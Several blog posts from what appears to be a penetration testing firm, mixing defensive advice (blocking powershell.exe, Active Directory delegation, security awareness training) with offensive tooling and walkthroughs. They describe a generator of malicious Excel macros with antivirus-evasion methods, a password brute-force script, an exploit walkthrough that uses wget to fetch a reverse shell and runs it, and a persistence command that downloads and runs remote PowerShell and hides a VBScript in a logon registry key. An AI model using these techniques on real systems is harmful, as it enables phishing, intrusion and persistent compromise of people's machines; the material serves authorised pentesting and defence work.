This post is inspired by a twitter debate I observed between a pentester and a defender. It's characteristic of several such debates I've seen on this topic.

The debate goes something like this:

And on and on. Here's my take on it. I'm a pentester, but was also a defender for many years at a F500. This response will not please everyone. That's fine, it's just an opinion. =)

They are both right. 

Lemme splain....

Defender's Perspective

Defenders do not view the world of infosec through the eyes of a determined, skilled attacker. They view the world through the quantity and quality of tickets generated by their SIEM (if they have one). It is true that a determined, skilled attacker (read and understand that) can work around a correctly implemented PowerShell block. One such method is to drop an exe to disk call a dlls. While there are tools to aid an attacker, this process is substantially harder to pull off. As a result, this extra effort is more likely to raise more alarms. Is it possible? Yes. Is it just as easy as landing with a call to powershell.exe? No. This has the effect of forcing the attacker to work harder and be yet more determined to compromise the org.

However, the benefit is still fully realizeable simply by taking a look at PowerShell based malware samples from say John Lambert or Security Doggo. If they use PowerShell, they are generally making a call to powershell.exe. If that is blocked, payload doesn't fire, the day is saved. There is merit to this argument because the environment is inherently more protected via by the inability to execute code via powershell.exe. Additionally, the vast majority of users have no use for it, with obvious exceptions for orgs that use it in their loginscript, which you can simply whitelist with applocker.

Bottom line: The environment is more secure without powershell.exe than with it. It is not perfect security, but that's why we have defense in depth. To suggest that it doesn't work in a pentester's edge use case is simply throwing the baby out with the bathwater and is not a good excuse for not considering the blocking of powershell.exe as a defensive control.

Pentester's Perspective

I can work around a block of powershell.exe, therefore there's no reason to block it. This is blunt way to put it, but generally the crux of the argument. It's absolutely true that PowerShell code can be run without powershell.exe and this attack is able to be pulled off in most environments (albeit with more work and plumbing in your attack). Additionally, it is well known that Microsoft is basically pushing all apps to use and/or support PowerShell. Server 2016, Nano, etc. are all heavily managed via PowerShell. That's a great convenience for defenders as well as attackers. Additionally, Microsoft is effectively ditching cmd.exe in favor of powershell.exe in future releases of Windows 10 (yes, I know, cmd.exe will still be available, but the point is undeniable: PowerShell is the future of Windows administration).

Finally, PowerShell v5 (with Windows 10) security enhancements are substantial. From advanced event logging to controls like Device Guard and JEA, along with ConstrainedLanguageMode (available since PSv3), the use of powershell.exe can be configured to make it difficult for attackers to execute their payload, while still allowing use for end users if necessary, plus like I said, we can just work around your block anyways...

Bottom Line: Don't block powershell.exe. It's a waste of time because my attacks are so 1337 that I can run PS without PS. Plus, even if you did block it, you'll have to remove the block eventually for new versions of Windows cuz you'll cripple yourself.

So What Should I Do?

While both arguments have merit, here is what I tell my clients: If you are running a Win7 shop with PSv2 as your default with little to no hope for upgrading in the future, then configure Applocker or SRP to block powershell.exe for non-administrators (Good instructional article on Applocker). I agree with pentesters that this control can be worked around and is not perfect, but you will block attacks, dangerous attacks, by blocking powershell.exe. Generally these attacks will be executed by Bob the sales bro who 'Enables all the Content' in every spreadsheet he opens. Hopefully, Bob is not a system administrator (RIGHT???). If powershell.exe is blocked, you may just save the day.

However, do so with the understanding that this will not work forever and you will have to change tactics before long, especially after you upgrade to a current OS. Also, do so with the understanding that you should still layer this with other controls (e.g. blocking macro-enabled docs from the internet) and not rely on it completely to keep you out of the news.

This is, and always will be, a cat and mouse game. The minute we become stuck in a way of thinking, we are simply fast-tracking our own irrelevance. Shift and move your environment as necessary, not letting the drive for tomorrow's perfect security get in the way of today's good security.


DerbyCon Tool Drop 2.0 Talk here. Luckystrike demo begins at 18:45.

<tldr> Luckystrike is a PowerShell based generator of malicious .xls documents (soon to be .doc). All your payloads are saved into a database for easy retrieval & embedding into a new or existing document. Luckystrike provides you several infection methods designed to get your payloads to execute without tripping AV. See the "Installation" section below for instructions on getting started. </tldr>

Time to send my phish! Fire up Empire, create a listener, dump the macro code to excel. Crap! 32/45 caught at VT?? Ok... Can I embed this into a cell? <2 hours of research later> Argh wtf why isn't this working! <Another hour on MSDN & Stack Overflow> Nice! Ready to test. <Clicks Enable Content>.... no shell .... no shell ...... NO SHELL. 🙁

How many times have we wasted precious hours doing the same thing only to have our payload not work or get caught. Irritating to say the least; that's time we could spend pillaging!

Generating a malicious macro doc is something that every pentester is well acquainted with. We use malicious macros all the time to gain footholds when other attacks don't work. We decided it was high time we had a tool that would automate as much as possible, allow us to reuse payloads, and include as many built in AV evasion techniques as we could.

Introducing Luckystrike (see "Installation" section below to get started).

Luckystrike is a menu-driven PowerShell script that uses a sqlite database to store your payloads, code block dependencies, and working sessions in order to generate malicious .xls documents.


  1. PowerShell v5. The script is made to run on your machine, not your targets, so this shouldn't be a problem.
  2. Microsoft Office. Or at least Excel. Luckystrike uses the Excel COM objects to build .xls docs.
  3. PowerShell PSSQLite Module. The script will try an install this for you if not found.


NOTE: please, Please, PLEASE do not post errors in the comments section below! They will not be responded to. If you have a problem, please create a github issue on the luckystrike repo. Thank you!

To get started, run the following command from an administrative PowerShell prompt:

iex (new-object net.webclient).downloadstring('')

I realize you may be panicking over the fact that I'm telling you to run iex. Feel free to check out all the boring database commands install.ps1 does before running. You can also git clone the repo & run install.ps1 locally if that somehow makes you feel better. 🙂

Install.ps1 does the following:

  1. Installs the PSSQLite module if you don't already have it (hence the admin rights).
  2. Creates .\luckystrike\
  3. Creates the database (ls.db) and puts it into .\luckystrike
  4. Copies down luckystrike.ps1 into .\luckystrike

Once everything is done, run the luckystrike.ps1 script

Getting Started

Luckystrike allows you to work with three types of payloads: standard shell commands, PowerShell scripts, and executables (.exe). Payloads that you add are stored in the catalog, a sqlite database file that can be used repeatedly, or shared amongst teammates. Every time you select a payload to use, you must also choose the infection type, or the means by which the payload will be executed. You can infect a document with multiple payloads of different infection types.

Let's get started by adding a simple shell command payload to start calc.exe:

Run luckystrike.ps1 and choose option 2 for Catalog Options. Add a payload to the catalog with a payload type of 1 (Shell Command). Shell commands are run exactly as you have them (including escape characters), so enter the text carefully.

Now that we have a payload created, let's select it and build our malicious file!

Go back to the main menu and chose option 1 (Payload Options), then choose the infection type to work with. In the case of Shell commands, there is only one type (DDE exec coming soon!):

Hint: Hit "98" to see help for the infection types.

So far you've added a payload to the catalog, then selected it for inclusion in a file. Luckystrike was built so you can add multiple payloads with multiple infection types to a single infected .xls, but more on that later. 🙂

Now let's create the file. Choose File Options from the main menu, then generate the file.


Luckystrike will also infect existing .xls documents in case you already have a template you enjoy using (File Options > 2). Even if they already contain macro code, luckystrike will create a new CodeModule and append any existing Auto_Open calls (ensuring the naughty payloads are called first, of course). Note this is not a perfect science so something might get foobar'd in the process. Luckystrike will not monkey with your existing document. All new .xls files are saved to the ./luckystrike/payloads directory.

Open the file & click Enable Content. You should see calc.exe open. Hooray!

Have a look at the macro code:

Simple, straightforward. Notice that you are responsible for escape characters, so tread carefully. The payload originally used "Wscript.Shell" as the create object string, but that was picked up by 3/36 (, notably Windows Defender. Simply building a string that concatenates the letters took care of that. Thanks Microsoft!

That was the most simple example. The macro code only gets more complicated from there. That said, here are the infection types broken down by payload type:

Infection Types

  1. PAYLOAD TYPE: Shell Command
    1. Infection Type: Shell Command:
      1. What you see above. Simply uses Wscript.Shell to fire a command. Shell commands run via powershell or cmd.exe do not pop a command window in the user's view. More likely to get caught by AV.
    2. Infection Type: Metadata
      1. Embeds the payload into the file's metadata, specifically the Subject field. A one liner method is fired in the macro to execute whatever is in the metadata. Very low detection rate!
  2. PAYLOAD TYPE: PowerShell Script. [Note: ALL .ps1 files that you save as payloads must be non-encoded! Luckystrike will b64 encode where necessary)
    1. Infection Type: CellEmbed. 
      1. Your "go to" for firing .ps1 scripts. Embeds a base64 encoded ps1 script into cells broken up into chunks. A Legend string is associated with the payload so it can be reconstructed at runtime. The payload can exist anywhere on the workable sheet, but will start, at minimum, Column 150 & Row 100. The base64 payload is saved to disk in C:\users\userid\AppData\Roaming\Microsoft\AddIns as a .txt file. The macro reads in the text file then fires with powershell.
    2. Infection Type: CellEmbedNonBase64
      1. Embedding is the same as #1 above, but is not base64 encoded. The script is read directly from the cell and fired via powershell. Never touches disk. Recommended!
    3. Infection Type: CellEmbed-Encrypted
      1. Personal favorite. When choosing this, you will be prompted for your target's email domain name. Example, if your target is [email protected], then you would use "" (no quotes) as that string, even if it's different than their main web url! The reason for this is luckystrike will RC4 encrypt the ps1 file (with the email domain as the key) prior to embedding. The macro code will then retrieve the user's email address from Active Directory, split the string, and decrypt the payload prior to running. If an AV vendor gets ahold of the payload, they won't be able to decrypt & run. MUAHAHAHA
  3. PAYLOAD TYPE: Executable
    1. Infection Type: Certutil.
      1. Based on @mattifestation's excellent work (here), this attack embeds a base64 encoded binary into cells, then saves it as a .txt file to disk, using certutil to decode the payload & save as an .exe. Exe is then fired.
    2. Infection Type: Save To Disk
      1. What you'd think. Exe is saved to disk then fired. Straightforward
    3. Infection Type: ReflectivePE
      1. Naughty! Both the .exe and a copy of Invoke-ReflectivePEInjection (here) are saved to disk as txt files. Exe is then fired using Invoke-ReflectivePEInjection. Be sure to test this one! Very important to know the architecture of your target vs the payload you're using. Additionally, I recommend testing your .exe with Invoke-ReflectivePEInjection prior to embedding as if your .exe is not ASLR/DEP compliant, the attack will not work (I'm not using -ForceASLR). On the positive side, only .txt files are written to %APPDATA%, so those relying on simply blocking execution from appdata are out of luck!

Real World

Popping calc is cool and all, but what about a real world test. Let's embed a custom metasploit meterpreter payload as well as an empire stager into an *existing* Excel document template.

decoding empire's launcher text. We will use empire-launcher.ps1 as our import into luckystrike.

What could go wrong?

Nothing Bob. Keep calm & click on.

Planned features:

  1. Word doc support (won't be as robust as Excel, but it will work).
  2. Ability to store your templates in the database.
  3. "Quick attacks": Saving your payload & infection type choices for easy access.
  4. New, highly evil infection types & AV/sandbox evasions.

Until next time!



One of my favorite post-ex metasploit modules is smb_login. It's great for running a quick test using credentials you've discovered. One of the problems with it is that there is nothing that prevents you from locking out accounts. Plus, you have to create user list which means dumping users | cut | sed | awk, blah blah blah. (Update: Thanks to @ztgrace for bringing me up to speed on the MaxGuessesPerUser advanced property of smb_login.)

I wanted something that did all this work for me that would just take a password list and be smart enough to handle all the logistics, plus I wanted it in PowerShell for obvious reasons (PowerShell > Ruby. <trollygrin>). Seriously though, I'm not a Ruby dev, and every time I try, I reach gem dependency rage-level 11 in about 15 minutes. So...

Solution: Invoke-SMBAutoBrute.ps1 (github)

The autobrute script has a few features built in making it handy for the pentester who needs creds & is short on time.


The script receives the following parameters:


A simple text file that exists on target containing users to brute (one per line). If no list is passed, query the domain for a list of users whose badPwdCount attribute is two less than the domain account lockout threshold. Wrap paths in double quotes.

PasswordList (Required)

A comma separated list of passwords to try. Even if the Lockout Threshold is 3 attempts, pass in 10 passwords or so. The script will grab safe users to brute every password run. Wrap list in double quotes.

LockoutThreshold (Required)

The lockout threshold of the domain. Run "net accounts" on the target, grab the Lockout Threshold value and use that.


The number of milliseconds to wait between each attempt. Handy if your connection is slow, otherwise you could get odd errors. Default 100.


By default, only successes are shown. Specifying this switch will show all skipped and failed attempts. Lots of information will hit the screen. You've been warned.


What you'd expect. After the first successful authentication, exit the script.


The general order of the script is as follows. Assume no UserLIst was passed and the LockoutThreshold was set to 5.

  1. Perform prereq checks. Be sure you can locate the PDC, etc
  2. For each password in the password list, perform the following:
    1. Retrieve a list of enabled users from the domain (PDC specifically) whose badPwdCount attribute is <=3. The reason for this is is that we want all users who could not be locked out during this attempt. It is possible that a user could fat finger a password during the brute, locking their account. Unlikely, but possible.
    2. For each user retrieved:
      1. Check their badPwdCount attribute against all DCs and use the highest value. The reason this is done is the badPwdCount attribute is not replicated (source). If the highest value is greater than one less than the lockout threshold, do not test the account.
      2. If the account is safe to test, test the password against the PDC. If successful add the user to a valid users list (and never test this user again). Throw the result to the screen.

Risks: Regardless of the safety checks built in to the script, it is possible that lockouts could still occur. Replication problems between DCs, a DC that is being rebooted during processing, users who are trying as fast as they can with bad passwords, all could cause lockouts. Always best to test before you run against your target! It's been tested in my lab against thousands of users, but that's it. We are not liable for your slow env or the accounts you lock! 🙂

Quick Screenshot:

Running as a low priv account.

Note: If you get LDAP server unavailable errors, you might be bruting too fast. Try setting the Delay param to 500 or so.


As with any brute force attack, your logs (specifically the PDC Security Event log) will be filled with failures. This script will actually load up the logs of all DCs as each user is checked against each DC for their badPwdCount attribute. We always recommend to our customers that they be setting thresholds on alerts so that if X events fire in X seconds, you are alerted. The security event log will contain the source IP of the authentication attempt. That's your compromised machine.

Really sneaky pentesters could set the Delay to 1000+ and just let it run overnight. </evilgrin>

Comments are welcome, but please use github for any questions/bugs. Our scripts repo is here.


PS - An Empire pull request has been submitted. Keep a look out for situational_awareness/network/smbautobrute. 🙂

Once in a blue moon we come across a client that has truly done security right (or at least, tried really hard to do so). All the low hanging fruit has been trimmed: Responder doesn't work, no passwords in GPP, all systems patched up to date, no Spring2016 passwords, etc. As frustrating as this is for pentesters, it forces us to level up our game.

This past week was one of those times where we had to fight for every inch (OSCP exam anyone? =). We couldn't get any shells and were only turning up crappy SSL vulnerabilities. We fired off a Nessus scan in hopes of getting some additional information and a Java deserialization vulnerability (info here) turned up on a linux based hosted, listening on tcp/40002.

Excited, we fired up metasploit and let 'er fly:

Hooray. 🙁

Disappointed, I began to search for a manual exploit, but something in the Nessus report stood out to me:

That's some pretty specific text. Made me wonder what exactly Nessus was doing to make such a definitive statement. If Nessus was able actually launch the exploit and get back some sort of feedback, then maybe I could modify the .nasl to suite my own purposes.

I took a look at /opt/nessus/lib/nessus/plugins/opennms_java_serialize.nasl and found something interesting:

Well lookey what we have here....

Outstanding! Nessus was actually exploiting the vulnerability to fire a ping command back at the Nessus box with the plugin ID in the ping buffer. All I had to was modify the payload to run other commands and launch. Fortunately, you can fire single .nasl scripts using /opt/nessus/bin/nasl command along with the -t <TARGETIP> switch.

I performed the following steps:

  1. Copied the .nasl file
  2. Adjusted the nasl command to be: curl http://myattackbox
  3. Stood up a listener: nc -nlvp 80
  4. Fired the script against my target: /opt/nessus/bin/nasl /opt/nessus/lib/nessus/deserialize-custom.nasl -t TARGETIP
  5. Crossed my fingers. =)

It took a moment, but finally:


Now that I had confirmed RCE, I decided to step it up a few. I grabbed a python reverse shell one liner from pentest monkey (here) and put it into /var/www/ I then created three copies of the .nasl script for three different commands (yes, I know there are better & more efficient ways of doing this, but I was feeling lazy) and started apache. Each script performed one of the following three commands (in order):

  1. $ wget http://myip/ -O /tmp/
  2. $ chmod +x /tmp/
  3. $ /tmp/

I then crossed my fingers & fired....


After some research, we learned we were on a VMware vRealize appliance as the low privilege user horizon. We ran multiple privesc discovery utilities and found nothing. All files were sufficiently locked down to root. Kernel was reasonably up to date & no exploits were found. I couldn't sudo to another id, much less root. Bash history == empty. I was beginning to despair as we had dozens more systems to test and I had already burned several hours on this, but we still didn't have a solid foothold into the environment.

I was preparing to move on when a coworker suggested that we check to see if the horizon user can sudo run any applications....


It wasn't possible.

Surely we couldn't sudo run this "diagnosticCommandExecutor.hzn" with another command..... or could we....


No doubt a well meaning engineer put this there for troubleshooting purposes, and we were only to happy to use this "feature" to pwn... er..."troubleshoot" the system.

A few tweaks to our script and:

Bob's your uncle.

Though I doubt VMware will remove the ability of the horizon user to sudo run any command via diagnosticCommandExecutor.hzn, they did issue a patch for the Java deserialization vuln (here)

Huge thanks to my buddy Steve (@jarsnah12) for lending his ability to linux hard!

Until next time!


First, let's talk about what "failure" is and is not in the context of Security Awareness Training (SAT). Failure is not when a company gets breached due to social engineering. Wait, what?? All the outstanding training in the world does not guarantee that an individual will follow it when the moment of testing occurs. Soldiers are trained to highest levels to deal with the stress and trauma of battle, but still come back scarred, having likely made mistakes in spite of their training.

Security Awareness Training "failure" is when a user is left without the knowledge to act appropriately in a given situation.  In other words, when they haven't been properly prepared to handle phishing emails and voice based scams or choose a strong password, SAT has failed them. The user clicking on the phishing link is just the end result of this failure.

I submit that SAT failure occurs for (at least) three reasons:

1) Training does not reflect real life security encounters.

I am sick to death of training courses telling users that they should watch out for misspellings and grammar mistakes in the email body, as if phishers don't have access to Word's spell/grammar check. While its certainly true that phishing emails can and do originate from these places, the user is actually provided a false sense of security if that is their sole basis for detection. What if your company employs or works with individuals whose first language isn't English? End users will receive legitimate emails with spelling/grammar mistakes and their training will be for nothing.

Trainer tip: If you want to talk about misspellings, forget the body of the email and focus on the sender's domain! That's more of an effective phishing mitigation technique than looking for misspellings in a paragraph will ever be.

Additionally, how often have we heard to choose a "secure" password like "7Jkw8$hQ"? Look at that thing. Covers all the complexity rules, meets the minimum 8 character corporate standard, a true thing of beauty...


Trainers say this because they've never cracked a password hash in their whole career and don't know any better (See #2). With our cracking rig, that would take about 2 seconds to crack (NTLMv1 that is. About an hour for NTLMv2).

Trainer Tip: Emphasize length over complexity, every time. "this here password is fantastic" is much stronger than an 8 character complex password and is way easier to type!

Good SAT has to be thoroughly relevant and a bit scary. Users must understand the consequences of clicking that link or opening that attachment. It's not good enough to simply say "don't do this", they must come to understand why. If they cannot link their improper action with a loss of company data in vivid, graphic detail, you aren't doing your job.

2) Instructor does not have the right experience to be effective.

The best instruction I've ever received, security-wise or other, has been from those who have been there - actually doing the work. They aren't professional trainers. They are simply experts in their field because they've spent years actually doing the things they are training about. When you go on YouTube to learn how to replace a toilet, do you find 17 year old Billy's video and follow that, or do you find some crusty graybeard who's been plumbing his whole life? That's not to say good trainers can't be young, it just means they must be *experienced*.

Let me emphasize this: the WORST thing you can do for your org is to simply relegate your SAT to computer based training. Forcing a user to watch some lame video of a "hacker" so they can click Next as fast as possible before guessing the painfully obvious quiz answers is an egregious waste of company resources, not to mention people's lives.

Real hackers use The Force! 

Do you company's data a favor, pay for high quality live training that will make an impression and get your users talking about security! Fostering a culture of security in your enterprise is one of the best things you can do for your organization's security posture.

3) Training is boring.

This is a personal pet peeve of mine. How often have we watched someone with awesome content who simply could not deliver it well. I'm not talking about people who are nervous during their presentation. That's certainly understandable. I'm talking about people who deliver in a bland, monotone, and otherwise horrible way - devoid of anything close to resembling emotion.

At this point on the revenue curve, you will get exactly the same amount of revenue as this point....

Information Security is one of the most interesting fields in existence today, and one need not look far for stories that will not only make you laugh (or cry), but will also drive home the points you need to make as a trainer.

Trainer Tip: Learn how to tell a good story. Practice in the mirror if you have to, but do not settle for mediocrity. Your training should be engaging and memorable, and when it comes to Information Security, nothing beats a good story! Don't know how to do that? Start here. Then here.

Pro Trainer Tip: Tell stories about your failures. When people observe you as a human, not an "expert", you will connect with them immediately and have their complete attention.

Final Thoughts

If you want to deliver solid infosec training, you must focus on the right things, have the experience to back it up, and be able to connect to your audience. Miss any one of these three and the quality of your training will suffer. Put up screenshots of real phishing emails, do a quick demo of what a compromise looks like, tell your audience how you failed then succeeded, and people will connect with you not only as an expert, but also as one who is in the trenches with them. There is no better place to be as a trainer.

But I'm just organizing the training for my company!

Hire a pentester! They will (hopefully) know their stuff and have the experience to back it up. Have a quick call with them to make sure they don't bore you to tears, and off you go. Don't know who to hire? Call me biased, but I think these guys are pretty good. 🙂


One of the most frequent questions I get from my CircleCityCon/DerbyCon Active Directory talk goes something like "You recommend that we delegate permissions in AD (as opposed to just dropping everything in Domain Admins), but I just inherited this domain and have no idea what delegation is. Help?"

Well good news: 1) Delegation in AD isn't hard. Trust me. 2) You can delegate just about anything, making delegation your best friend from a security standpoint........

There is a key point to understand before we get into this. Objects in Active Directory each have a class. Very similar to a programming class, an Active Directory class is just a construct that defines the properties (also known as "attributes") of an object. These classes and attributes are defined in the Active Directory schema. Think of the schema as the dictionary which defines each class. In this dictionary, you can add news classes, and change the "definition" of existing classes.

If you are reading this you are probably a Domain Admin (DA) or have similar rights, so you are likely editing users/groups all the time. The reason why a user in Active Directory is a user is because that object is associated with the user class in the AD schema. The User class has properties we all know like description, manager, group membership etc. More on that later.

So, let's dive into delegation. Delegation is just what you would think it is: delegating permissions to a specified user or group.


Let's assume for our example that you have an application called LDAPSync Manager that wants to integrate with Active Directory and read all user information (a la Sharepoint). It's going to synchronize user information with it's own database and keep everything up to date by crawling your domain daily. You *could* add the application's service account to Domain Admins, but that would be a terrible overgranting of access and could lead to a whole host of problems. So instead of doing that, you find out exactly what the application really needs for permissions, and you delegate that access to the id that the application is using.

How would you go about doing that? First, I suggest is that you ask the vendor what rights are absolutely necessary. No vendor worth their salt will say "We must have Domain Admin!". It's just not true. They might say, we need to be able to read all your user information. That's fine - we can work with that. Hopefully your domain is organized in such a fashion that all your people are under one OU. Never in my years of domain administration have I *ever* granted a vendor account Domain Admins privs. It just isn't necessary.


Back to our example, say I have a People OU, and all my human accounts are in the Employees OU.


Then I'm going to create a service account for this application to use to make its calls back to AD. So I'll create a new account - ldapsync - and put it in the Service Accounts OU. Typically the userid and password for this account would go into the application's config file (the password being encrypted of course).

Now the fun part. Suppose the vendor says that the application needs to read all user account information AND write back information in the "Comments" attribute of each user. You could put the account in Account Operators, but that is still an overgrant of access, so let's delegate instead. Lets give LDAPSync Manager exactly what it needs (and nothing more!). Remember, it needs these two things:

  1. Read all user attribute information.
  2. Write information to the comments field.

Remember what I said about classes? Well "user" is a class, and both human accounts AND service accounts are in the "user" class, so you need to know if it needs write access to ALL user accounts, or just human accounts. You ask the vendor. Vendor fesses up and says, well, really just humans. Good! Progress.

<soapbox> Push your vendors! Do not take "well, it just needs Domain Admins" as an answer. NO IT DOESN'T. If you are getting that answer it is probably from a tier 1 support person just trying to close the ticket. Make your vendor work for your business! You're paying them gobs of money for their product, so make them tell you exactly what it needs! It's best for your security and best for your environment. </soapbox>

So now we delegate. Right Click the "Employees" OU and select "Delegate Control" (do this as a Domain Admin on a DC of course,and in your test environment first. You do have a test domain setup, right? ...right?):

Choose Next, then add the ldapsync manager account. Best practice here really is to create a new group and add the group. That way you can just drop users in and out of the group to grant them that access. For this example though, we'll just use the ldapsync user. Click "Add" and type in the userid in the field, click OK.

Click Next. Now we run into a limitation of the delegation wizard. We can only do one major task at once. We'll come back to this in a minute. For now we just want to select "Read all user information".

Click Next, and then Finish. Way to go - you're half way there, now we need to delegate the second requirement - write access to the comment attribute of user objects. Here's where you can get crazy with delegation. Go through the process again. Right Click Employees > Delegate Control > Next > Add ldapsync > Next. You should be here:

This time, we're going to select "Create a custom task to delegate" > Next. Select "Only the following objects in the folder". Remember what I said about classes? Well here's where you're going to get a whole bunch of them. Scroll all the way down to the bottom of the list and select "User objects". We don't want to delegate access to everything now do we?

Click Next. Remember you were asked to allow write access to the Comments field. Well the "Comments" field is a property in the user class, so select the "Property Specific" checkbox. In the list that follows, scroll down and select "Write Comment" (you already granted it Read access above). The click Next > Finish.


Now if go into the Employees OU, right click a user > Properties > Security tab > Advanced button. Sort the columns by "Name" (just click the "Name" button), then scroll down until you see the "ldapsync" entries. There should be two of them. This is due to how Active Directory categorizes permissions (that's a whole 'nother topic :-). The bottom one says "Read all user information", but if you double click the top one and scroll down, here's what you'll see:

"Write Comment" is selected and it's grayed out. That's because the permission is being inherited from the Employees OU. This is good because we want those perms to be inherited by all user objects.

Congrats, you're done!

There really all there is to it. Still confused? Leave a comment below and I'll reply. Have a look here for another good example on delegation.

Bottom line? Select a typical use case for your environment and play with it (again, in your test domain) until you get it right. It's not hard. Don't be afraid to fail, and when you do, try harder! 🙂

Until next time!


Recently I was on an engagement where I received a meterpreter shell only to have it die within minutes before I could establish persistence. Talk about frustration! I've never had the best of luck with Metasploit's s4u_persistence module. Just to make sure, I did a quick test. I established a shell over tcp/53 on my Windows 7 domain-joined lab machine. I then ran the s4u_persistence module:

I suspected that UAC was getting in the way, but I could live with the errors. However I did a quick AV scan against the payload (CfWumDHg.exe), and it was detected by 37/60 AV engines. It was caught by Symantec, McAfee, Microsoft, and Sophos. It was *not* picked up by TrendMicro, Kaspersky, or Webroot. I had no idea what my target was using at the time, and I didn't want to take the chance, so I opted to create my own PowerShell based persistence script.

I use TrustedSec's Magic Unicorn  all the time to create my PowerShell based meterpreter payloads, and I wanted this script to be able to retrieve and use Unicorn's output with little fuss, and I needed it to be done quick in time for my next shell <grin>. Many thanks to @slobtresix for the initial legwork.

Quick and dirty, here you go: powershell-persistence.ps1 (Github). It exposes a simple method called Add-Persistence, which takes a URL argument to your Unicorn PowerShell output.

How To Use

*Assuming your target has the ability to download files from the compromised machine.

  1. Download/Clone powershell-persistence.ps1 and make it available somewhere online, or just reference it from Github like I did below.
  2. Use Unicorn to generate your desired persistence payload. The output should be a powershell command in powershell_attack.txt. Use the standard PowerShell attack, not the macro attack. For example:
    1. python windows/meterpreter/reverse_tcp VICTIMIP 4444
  3. Move powershell_attack.txt to your webserver, Dropbox, OneDrive, etc, wherever you believe your target can browse to.
  4. From your shell on your target machine, run the following:

powershell.exe -exec bypass -Command "iex (New-Object Net.WebClient).DownloadString(''); Add-Persistence http://WEBSERVER/powershell_attack.txt;"

*Note, this command works with PS v3+.

The script is really simple and will perform the following steps:

  1. Download & verify the payload (in this case powershell_attack.txt).
  2. Creates a simple VBScript wrapper that executes the Unicorn PowerShell command.
  3. Saves the VBScript as %TEMP%\update-avdefs.vbs and marks it as hidden.
  4. Add a LOAD key to HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows with a value of the script path. This gets executed when the user logs in.

If everything goes well, you will get output indicating success. Below is an example of running the script from a shell, followed by a system reboot:

Notice our shell came back right away after the user logged in.

Yes, there are better ways to do persistence. Best is probably PowerSploit persistence here, or building it into an evil macro from the start using enigma0x3's Generate-Macro, but I wanted something that would work directly with my Unicorn payload.

As far as AV goes.... well, I just ran this (successfully) on an enterprise Domain Controller running Symantec Endpoint Protection and Malwarebytes. I'm not too worried. 😉

Happy hunting!


linkedin facebook pinterest youtube rss twitter instagram facebook-blank rss-blank linkedin-blank pinterest youtube twitter instagram